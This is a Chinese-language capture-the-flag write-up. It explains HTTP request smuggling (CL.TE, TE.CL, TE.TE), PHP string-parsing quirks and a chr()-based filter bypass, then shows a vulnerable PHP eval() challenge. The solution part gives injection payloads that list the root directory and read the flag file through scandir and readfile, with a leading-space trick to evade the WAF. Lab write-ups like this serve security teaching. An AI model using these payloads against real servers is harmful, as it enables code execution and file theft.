知识点:
1、http走私
为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。
HTTP请求走私漏洞的原因:
HTTP规范提供了两种不同方式来指定请求的结束位置,它们是Content-Length
标头和Transfer-Encoding
标头
Content-Length
:以字节为单位指定消息内容体的长度
Transfer-Encoding
:标头用于指定消息体使用分块编码(Chunked Encode),消息报文由一个或多个数据块,整个消息体以大小为0的块结束,遇到0数据块就结束。
HTTP请求走私漏洞根据两个服务器的行为大致分为:
CL.TE漏洞:前端服务器使用Content-Length
头,而后端服务器使用Transfer-Encoding
头。
前端服务器处理请求Content-Length
标头,并将请求正文判定为13字节,而后端服务器处理请求头Transfer-Encoding
,识别到0
的数据块作为该请求体的终止,SMUGGLED则被视为下一个请求。
TE.CL漏洞
前端服务器处理Transfer-Encoding
标头,因此将消息正文视为使用分块编码。它处理第一个块,声明为8个字节长,直到下一行的开始SMUGGLED。它处理第二个数据块,该数据块的长度为零,因此被视为终止请求。该请求被转发到后端服务器。
后端服务器处理Content-Length
标头,并确定请求主体的长度为3个字节,直到下一行的开始8。以下以开头的字节SMUGGLED未处理,后端服务器会将其视为序列中下一个请求的开始。
TE.TE行为:混淆TE头
在这里,前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过以某种方式混淆标头来诱导其中一台服务器不对其进行处理。
2、PHP字符串解析特性
3、scandir()
返回指定目录中的文件和目录的数组。
readfile()
输出一个文件
var_dump()
此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值
file_get_contents()
将一个文件读入字符串中
4、绕过过滤方法:
用chr()转ascii再进行拼接
题目:
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
1)查看根目录下的文件,由于过滤了’’,所以用chr(47)代替
? num=var_dump(scandir(chr(47))) #num变量前面一个空格是为了绕过waf检测,waf将无法定位到num变量,也就无法对num的值过滤
2、输出f1agg文件
? num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
利用http走私